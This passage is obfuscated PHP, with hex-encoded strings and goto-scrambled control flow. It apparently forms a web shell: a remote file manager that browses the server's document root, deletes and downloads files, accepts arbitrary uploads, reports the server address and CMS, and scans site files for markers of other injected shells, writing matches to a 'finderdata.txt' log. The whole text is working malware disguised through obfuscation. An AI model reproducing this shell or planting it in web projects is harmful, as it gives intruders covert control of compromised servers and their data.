JrGk2: echo zWPME(); goto lNx_2; FPqBv: foreach ($hn0uw as $v3hoM) { goto zG58m; zG58m: if (!($v3hoM !== $_SERVER["\x53\x43\x52\x49\x50\x54\137\106\111\114\105\x4e\x41\115\x45"])) { goto yJjxz; } goto vybvM; Yb2iM: I7byw: goto dV2kH; vybvM: fwrite($A12k0, $v3hoM . "\12"); goto DvXnG; DvXnG: yJjxz: goto Yb2iM; dV2kH: } goto T0aee; HFGvx: kiHzi: goto bMo_L; zhlvb: goto ovOU3; goto R7ED7; LOmck: echo "\74\x68\162\x3e\x3c\x68\x72\76\x3c\57\x74\x64\76"; goto a4BUt; HvNO6: if ($Erk1y = fopen($qag9p, "\x77")) { goto elq9q; } goto scMem; UWoNQ: QHihQ: goto jgc8L; bJ2hI: foreach ($DtzO6 as $v3hoM) { goto sGpjs; ttusL: WNuqH: goto vfGuF; nHZHA: $kUjp8 = "\x23\146\146\146\146\x65\60"; goto NVE_T; XM6Hv: $Pykbw = $_SERVER["\x44\x4f\103\125\115\x45\x4e\x54\137\x52\x4f\x4f\124"] . "\57" . $v3hoM; goto jLf1Q; c8mTA: C6R35: goto b1isP; hFwsy: $Npkhx = ac9DK($Y1ljX); goto gedtj; VZEsn: tzxj3: goto rQZ1M; dcizH: $Y1ljX = $_GET["\x64\x69\162"] . "\x2f" . $v3hoM; goto KecXy; IyNJR: ra2m9: goto dcizH; gedtj: if ($Ay1ZD % 2 == 0) { goto C6R35; } goto nHZHA; T24Tn: if (isset($_GET["\144\151\x72"])) { goto ra2m9; } goto jNVXv; jLf1Q: goto WNuqH; goto IyNJR; oYaM0: T4nO6: goto VZEsn; KecXy: $Pykbw = $_GET["\x64\x69\x72"] . "\x2f" . $v3hoM; goto ttusL; sGpjs: if (!($v3hoM !== "\56" and $v3hoM !== "\56\56")) { goto T4nO6; } goto T24Tn; oHqQ4: bhn8O: goto Hi1TD; qIN1G: $Ay1ZD++; goto oYaM0; Hi1TD: echo "\x3c\164\x72\x20\142\x67\x63\x6f\154\x6f\162\x3d\x22{$kUjp8}\42\40\x61\x6c\x69\x67\156\75\42\x63\145\x6e\164\x65\x72\42\x3e\x3c\x74\144\40\x61\x6c\151\x67\156\x3d\x22\x6c\145\146\164\x22\40\76" . "\74\x66\157\x6e\164\x20\143\157\154\157\162\75\x22\x23\71\x30\x34\x64\x33\60\42\x3e\x3c\x62\x3e\74\x61\x20\150\x72\145\146\x3d\x22\150\164\164\160\72\57\57{$VdNWK}{$QqgvR}\77\144\151\162\x3d{$Pykbw}\42\76{$v3hoM}\x3c\57\x61\76\x3c\57\142\x3e\74\x2f\x66\x6f\x6e\164\x3e" . "\x3c\x2f\164\144\x3e\74\164\144\x3e\x64\151\x72\74\x2f\x74\x64\76\x3c\164\144\x3e{$Npkhx}\x3c\x2f\164\144\x3e\74\x74\x64\76" . gm9Cq($Y1ljX, "\x30") . "\74\57\164\x64\x3e\74\164\x64\76" . "\74\x61\40\x68\x72\x65\146\x3d\42\150\x74\164\x70\x3a\x2f\57{$VdNWK}{$QqgvR}\77\144\145\x6c\x3d{$Y1ljX}\x26\144\151\x72\75{$ogngT}\x22\76\125\74\x2f\x61\76\46\x6e\x62\163\160\x3b" . "\x3c\57\x74\x64\76\74\57\164\162\76"; goto qIN1G; FDm2Y: $ogngT = str_replace($SYOxk, '', $ogngT); goto hFwsy; vfGuF: $ogngT = $Pykbw; goto vOPx4; jNVXv: $Y1ljX = $_SERVER["\x44\x4f\x43\x55\x4d\105\116\124\137\x52\117\117\x54"] . "\57" . $v3hoM; goto XM6Hv; b1isP: $kUjp8 = "\x23\146\146\x66\70\145\x37"; goto oHqQ4; NVE_T: goto bhn8O; goto c8mTA; vOPx4: $SYOxk = strrchr($ogngT, "\x2f"); goto FDm2Y; rQZ1M: } goto ngPvI; y3iGF: goto E1odq; goto i3o2E; N1mrP: ovtL3: goto z8xs4; a21ov: echo "\11\xd\12\11\74\x74\162\40\141\x6c\x69\147\156\x3d\42\143\x65\x6e\x74\145\162\x22\40\x73\164\171\x6c\145\x3d\x22\143\x6f\154\x6f\x72\x3a\x20\x23\x34\x32\63\143\66\x33\x3b\42\x3e\74\164\x64\x20\x61\154\x69\147\156\x3d\x22\x6c\145\x66\x74\42\76\74\x62\x3e\x4e\x61\x6d\x65\x3c\x2f\x62\x3e\74\57\x74\144\76\74\x74\x64\76\x3c\x62\x3e\x53\151\x7a\x65\x3c\57\x62\x3e\x3c\x2f\164\144\76\74\164\144\76\74\x62\76\115\157\x64\151\x66\x79\x3c\x2f\x62\x3e\x3c\x2f\x74\144\x3e\x3c\164\144\x3e\x3c\x62\x3e\120\145\x72\x6d\x69\163\x73\151\x6f\156\163\x3c\57\142\76\74\57\x74\x64\x3e\74\x74\x64\76\x3c\142\x3e\x41\143\x74\151\157\x6e\163\74\x2f\x62\x3e\x3c\x2f\x74\144\x3e\x3c\x2f\164\x72\x3e\15\xa\15\xa\11"; goto mIW1X; xezD4: $qag9p = $_SERVER["\104\117\x43\x55\115\x45\x4e\124\x5f\x52\117\117\124"] . "\57" . $_POST["\x6e\145\x77\x5f\146\151\154\145"]; goto rhqdx; k980M: $uKa5l = $qag9p . "\57" . $_FILES["\x69\x6e\x70\x75\x74\x66\151\154\x65"]["\x6e\141\155\x65"]; goto lW5kn; bzV6t: $qag9p = $_GET["\x64\x69\162"]; goto g3wGR; GdZMk: nXRAt: goto sChFQ; NOtMC: $IaZRO = "\100\151\156\143\x6c\x75\144\x65\40\42\x5c\170\x32"; goto kSgZi; Be8GI: goto MJcgr; goto UP3Rp; t24Tp: if (!($LztR2 < 900)) { goto a1tn8; } goto ofKCn; kSgZi: $x2HIK = "\x24\x4f\117"; goto h_UK6; ofKCn: unset($L2igI[$LztR2]); goto tSCjr; kxckI: $LztR2++; goto hzjoI; cWZKF: echo $ut7CJ; goto qQYrS; Sq2Ln: mCKiQ: goto vT88x; B_Re_: qGBzM: goto qIWmC; aLK0K: E9Ifv($w8S3s); goto C0cMJ; RTPOT: if (isset($_GET["\x64\151\162"])) { goto BixNK; } goto WbrEw; MGFAs: foreach ($xvhqj as $VSewj) { goto wUNY9; UiFQR: $A12k0 = fopen($B55HZ, "\141"); goto fYh6m; VpAlr: $Baft_ = stristr($HeFeN, $wKKLI); goto fHMjf; wUNY9: if (!file_exists($VSewj)) { goto wrn2n; } goto AL3Ri; zzGBg: fclose($A12k0); goto Z3J69; gKKDc: wrn2n: goto fZ3hl; Z3J69: DtqMZ: goto gKKDc; AL3Ri: if (filesize($VSewj) < 5000000) { goto W3KnN; } goto JlNjT; nus_5: $U30RO = stristr($HeFeN, $XY0kc); goto t0pRy; cAQI2: $XV45j = stristr($HeFeN, $IaZRO); goto HChwK; d0YLW: $H2S_y = stristr($HeFeN, $W1py1); goto FDjCC; FDjCC: $BunjV = stristr($HeFeN, $WMWFy); goto BaCxq; M0jd9: goto p4H45; goto Ncu8M; fI5KT: $mgYQB = stristr($HeFeN, $UHjCg); goto g3fnl; HChwK: $NpFgL = stristr($HeFeN, $x2HIK); goto d0YLW; fYh6m: fwrite($A12k0, $VSewj . "\xa"); goto zzGBg; fZ3hl: kICIJ: goto DyVWg; vKH0O: $HeFeN = Gx0LK($VSewj); goto sz6uD; g3fnl: $CNlH7 = stristr($HeFeN, $zBJe0); goto nus_5; Ncu8M: W3KnN: goto vKH0O; sz6uD: p4H45: goto fI5KT; JlNjT: $HeFeN = ''; goto M0jd9; fHMjf: $uvHHD = stristr($HeFeN, $yMStY); goto UD7ya; rswl6: $wHmX7 = stristr($HeFeN, $rEKcz); goto cAQI2; UD7ya: if (!($mgYQB !== false or $CNlH7 !== false or $U30RO !== false or $mDUHH !== false or $wHmX7 !== false or $XV45j !== false or $NpFgL !== false or $H2S_y !== false or $BunjV !== false or $K7US8 !== false or $Baft_ !== false or $uvHHD !== false)) { goto DtqMZ; } goto UiFQR; t0pRy: $mDUHH = stristr($HeFeN, $ZV5BV); goto rswl6; BaCxq: $K7US8 = stristr($HeFeN, $zshba); goto VpAlr; DyVWg: } goto bkt1o; ialqk: echo "\x3c\x62\162\x3e\xd\xa\x9\x9\11\122\157\157\164\x3a\40"; goto CbyWF; rhqdx: goto kiHzi; goto Y9dBE; hsPe0: echo "\74\x2f\x74\151\x74\154\145\76\15\12\11\74\x73\164\171\x6c\145\40\x74\171\160\x65\75\42\164\145\x78\x74\57\x63\163\163\x22\76\15\12\x9\x49\x4e\x50\125\x54\133\x74\171\160\x65\75\42\x74\145\x78\164\x22\x5d\40\x7b\142\x61\143\x6b\x67\x72\x6f\165\x6e\144\55\143\157\x6c\x6f\x72\72\40\43\146\x66\x66\70\145\x37\x3b\175\x9\142\x6f\x64\171\x7b\x62\x61\143\x6b\147\x72\157\165\156\144\x3a\x20\x23\x66\146\x66\70\145\x37\x3b\x63\x6f\x6c\x6f\x72\x3a\x20\43\x34\x63\65\x38\66\x36\73\x66\x6f\156\164\x2d\146\x61\x6d\151\x6c\x79\72\40\x56\x65\162\144\x61\156\141\x3b\146\157\x6e\164\55\x73\x69\172\x65\x3a\x20\61\61\x70\x78\x3b\x7d\xd\12\x9\141\x3a\154\x69\156\153\x7b\143\157\x6c\x6f\x72\x3a\40\x23\63\x33\103\103\71\x39\x3b\x7d\11\x61\72\166\x69\163\151\164\145\144\x7b\x63\157\154\157\x72\72\40\x23\x33\x33\x43\x43\71\x39\x3b\175\11\141\x3a\x68\x6f\x76\x65\x72\x7b\x74\x65\x78\x74\x2d\x64\145\143\x6f\x72\141\164\151\157\x6e\x3a\x20\x6e\x6f\x6e\x65\73\x43\x6f\154\x6f\x72\x3a\x20\43\x33\x33\71\71\x46\106\73\x7d\x74\141\x62\x6c\x65\40\x7b\146\157\x6e\164\x2d\163\151\172\x65\x3a\40\x31\x31\x70\x78\x3b\x7d\15\12\x9\x74\x64\40\x7b\x70\x61\144\144\x69\156\147\72\x20\x31\160\x78\73\x70\141\x64\144\151\x6e\147\55\154\145\146\x74\x3a\40\x31\60\160\x78\73\160\x61\144\x64\x69\156\x67\55\x72\151\x67\150\x74\x3a\x20\x31\60\x70\170\x3b\x70\x61\144\144\x69\x6e\147\x2d\x74\x6f\x70\72\40\x32\x70\170\73\x7d\xd\xa\11\74\57\163\x74\x79\154\x65\x3e\15\12\74\x2f\x68\145\x61\144\x3e\15\12\x3c\x62\x6f\x64\x79\x3e\xd\xa\74\164\x61\142\x6c\x65\40\x63\x65\154\x6c\160\x61\144\x64\x69\156\147\x3d\42\x35\42\x20\x77\151\144\x74\150\x3d\42\70\x30\45\42\76\xd\12"; goto Nmkuu; Pbgzh: $w8S3s = "\150\x74\164\x70\x3a\57\57" . $VdNWK . $QqgvR . "\x3f\x64\151\x72\75" . $_SERVER["\x44\117\x43\125\115\105\x4e\x54\x5f\x52\x4f\117\x54"]; goto WAzUP; sChFQ: $ut7CJ = $_SERVER["\123\103\122\111\x50\x54\137\116\x41\115\x45"] . "\x3f\x64\151\162\x3d" . $_GET["\144\151\162"]; goto LO9Y4; P_kkP: echo $rwHC9; goto O1k9v; JAFmq: if (isset($_GET["\144\x69\x72"])) { goto TXIeY; } goto ZJ1QG; y9qYU: zZRtX: goto z2e4Z; U8eX9: EcZQF: goto t24Tp; Q3xHz: goto ygMBB; goto a_393; me323: $Ay1ZD = 0; goto bJ2hI; O1k9v: echo "\47\x22\x2c\x20\x64\145\x6c\x61\171\x29\73\15\12\x9\11\11\74\x2f\163\143\162\151\160\164\x3e\xd\12\x9\11\11"; goto w58PV; D5faf: TXIeY: goto Ga3AN; A6dPZ: $Tv4ro[] = $cjZuP; goto WbP_O; HkcsN: goto OLwSY; goto Sq2Ln; wNqkY: echo "\x3c\164\162\x20\x61\x6c\x69\x67\156\75\42\143\145\156\164\x65\162\42\76\74\164\144\40\141\154\x69\147\x6e\x3d\x22\154\145\146\164\x22\40\x3e" . "\74\146\157\x6e\x74\x20\x63\x6f\154\157\162\x3d\42\x72\145\x64\42\76\103\141\156\40\x6e\157\x74\40\x63\x72\145\x61\x74\x65\x20\x66\x6f\x6c\x64\145\x72\41\x3c\x2f\x66\x6f\156\164\76\x3c\x2f\x74\x64\76" . "\74\x74\144\x3e\74\x2f\164\x64\76\74\x74\144\x3e\x3c\x2f\164\x64\76\x3c\164\144\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\144\76\x3c\x2f\164\x64\x3e\74\x2f\164\x72\76"; goto DMpvd; beqet: goto zZRtX; goto Pdrln; evmxc: echo "\x3c\x66\157\156\164\x20\143\157\x6c\x6f\x72\x3d\42\x67\x72\x65\145\156\42\76\74\142\x3e" . "\74\x61\x20\x74\141\162\147\x65\164\x3d\x22\x5f\x62\x6c\141\x6e\x6b\42\40\x68\162\x65\x66\75\42\150\x74\164\x70\x3a\57\57{$JH7So}\42\76\x46\x69\154\145\x20\125\160\154\x6f\141\x64\145\x64\41\x3c\x2f\x61\76" . "\x3c\57\142\76\74\57\146\x6f\156\x74\76"; goto xQ_k4; GKj5d: $A12k0 = fopen($aPaH9, "\x61"); goto FPqBv; GlGwQ: function aC9dk($dWgkk) { goto pRInE; pRInE: if (file_exists($dWgkk)) { goto WDftI; } goto QOulC; V86z9: WDftI: goto wZWlZ; teO3S: $Npkhx = date("\x59\x2d\155\55\x64\x20\x48\72\151\x3a\163", $cgAHn); goto AepEK; AepEK: return $Npkhx; goto qu0vs; wZWlZ: $cgAHn = filemtime($dWgkk); goto teO3S; QOulC: return "\x6e\x6f\40\151\156\x66\x6f"; goto V86z9; qu0vs: } goto AaM6l; mP7HR: ovOU3: goto fNidh; InZQR: echo $_SERVER["\x53\x45\122\x56\105\122\x5f\x41\104\104\122"]; goto ialqk; r6hmG: $LztR2 = 1; goto uwGL8; OVySn: if (!file_exists($whHds)) { goto k97f1; } goto u4OG7; hmu09: $tO3kQ = $_GET["\144\151\x72"]; goto on9Rz; JnXjv: e9ifV($w8S3s); goto wNqkY; C6isP: $DhVT3 = fopen($aPaH9, "\x77"); goto qfqmm; y4bnf: $tO3kQ = $_SERVER["\x44\117\103\x55\115\105\116\124\137\122\117\x4f\x54"]; goto SBuQq; wF0pz: if (!($DX8LI !== "\x34\x34\x34")) { goto qGBzM; } goto PHOWA; iNSi3: $whHds = $_GET["\144\x6f\167\156\154\157\x61\x64"]; goto OVySn; y4Mz2: header("\103\x6f\x6e\164\145\x6e\x74\x2d\104\151\x73\x70\157\163\x69\164\x69\x6f\156\x3a\x20\141\x74\x74\141\143\150\155\x65\x6e\x74\73\40\x66\151\x6c\145\x6e\141\x6d\145\x3d" . basename($whHds)); goto QEeGq; gXyq4: header("\x43\141\143\150\x65\55\x43\157\x6e\x74\x72\157\x6c\x3a\40\155\165\163\164\x2d\x72\145\166\141\x6c\x69\144\x61\164\145"); goto MNBNS; McX5H: A0ywM: goto hmu09; JMCir: if (sizeof($_FILES) != 0) { goto iIPP6; } goto uT4gH; SChOa: hQE5F: goto bzV6t; McIeq: gplZx: goto WyfMr; qQYrS: echo "\42\40\x65\156\143\x74\x79\x70\x65\x3d\42\x6d\x75\x6c\x74\151\x70\141\x72\x74\x2f\146\x6f\162\x6d\55\144\x61\x74\141\x22\x3e\15\xa\11\11\x9\x3c\x69\x6e\160\x75\164\x20\164\171\160\x65\75\42\146\x69\154\145\42\x20\x69\x64\75\42\151\156\160\x75\x74\x66\x69\x6c\145\42\40\x6e\141\155\145\x3d\42\x69\x6e\x70\165\x74\x66\x69\154\x65\42\76\15\12\x9\11\x9\x3c\x69\x6e\160\x75\164\x20\x74\x79\x70\x65\75\42\x73\165\142\x6d\x69\164\x22\40\x76\x61\x6c\165\145\x3d\x22\x6f\x6b\42\76\xd\12\11\11\11\74\x2f\x66\x6f\x72\x6d\76\15\xa\11\x9\x9\103\x4d\x53\x3a\40"; goto JrGk2; hiFYY: exit; goto pSVyp; z8xs4: function bUcnk($dWgkk) { goto hQYXe; kQwnG: $XHXNZ = $XHXNZ / 1024; goto GpOmT; hQYXe: if (file_exists($dWgkk)) { goto z71Oa; } goto zKnd9; L7AGo: $XHXNZ = $XHXNZ / 1024; goto H5eEW; sJ4jH: NqU7y: goto L7AGo; UX_pw: goto rf2Ey; goto sJ4jH; P87LA: return $XHXNZ . "\40\x6d\x62"; goto eJKWI; M4byP: K5U7x: goto QZmHu; SsMyF: $XHXNZ = $XHXNZ / 1024; goto Ao2K1; HP9DS: $XHXNZ = filesize($dWgkk); goto HGmtm; pYb6a: return $XHXNZ . "\40\147\142"; goto M4byP; zKnd9: return "\247\266\247\xd1\xa7\xdb\247\xdd\40\x20\247\337\247\326\x20\xa7\337\247\xd1\xa7\333\247\325\247\xd6\247\xdf"; goto Tfdfg; KGeTN: $XHXNZ = round($XHXNZ, 1); goto P6YZI; bMNxz: goto qFHeu; goto cWH9n; cWH9n: tcWZW: goto kQwnG; HGmtm: if ($XHXNZ > 1024) { goto tcWZW; } goto KGeTN; SqQKK: qFHeu: goto GHDzq; P6YZI: return $XHXNZ . "\40\x62"; goto bMNxz; QZmHu: rf2Ey: goto SqQKK; GpOmT: if ($XHXNZ > 1024) { goto NqU7y; } goto Sc6JW; Tfdfg: z71Oa: goto HP9DS; Sc6JW: $XHXNZ = round($XHXNZ, 1); goto vezvf; eJKWI: goto K5U7x; goto NWjc7; NWjc7: GxlaC: goto SsMyF; Ohy7l: $XHXNZ = round($XHXNZ, 1); goto P87LA; Ao2K1: $XHXNZ = round($XHXNZ, 1); goto pYb6a; vezvf: return $XHXNZ . "\40\x6b\142"; goto UX_pw; H5eEW: if ($XHXNZ > 1024) { goto GxlaC; } goto Ohy7l; GHDzq: } goto GlGwQ; R7ED7: kS14f: goto sSV8k; t1B4c: echo "\74\x68\x74\x6d\154\76\xd\12\x3c\150\145\x61\144\76\xd\xa\11\x3c\x74\151\x74\x6c\x65\x3e"; goto zn_3T; IZOXi: echo "\x65\x72\x72\157\x72\x3a\40\x66\x69\x6c\x65\40\146\x69\x6e\144\145\162\x64\x61\164\x61\56\164\170\164\40\x63\x61\156\x20\x6e\x6f\x74\40\x63\162\145\x61\x74\145"; goto zhlvb; yqavc: goto XSzMn; goto UWoNQ; tJf3L: b2Dcx: goto vgfDq; vazmA: iIPP6: goto n1zYJ; d5a9U: e9Ifv($w8S3s); goto y3iGF; pavBl: kI8NA: goto nRUHt; MeppW: $fMNNx = UXUGJ($aPaH9); goto CGm2h; K22kB: echo "\74\x2f\x74\x61\x62\x6c\145\76";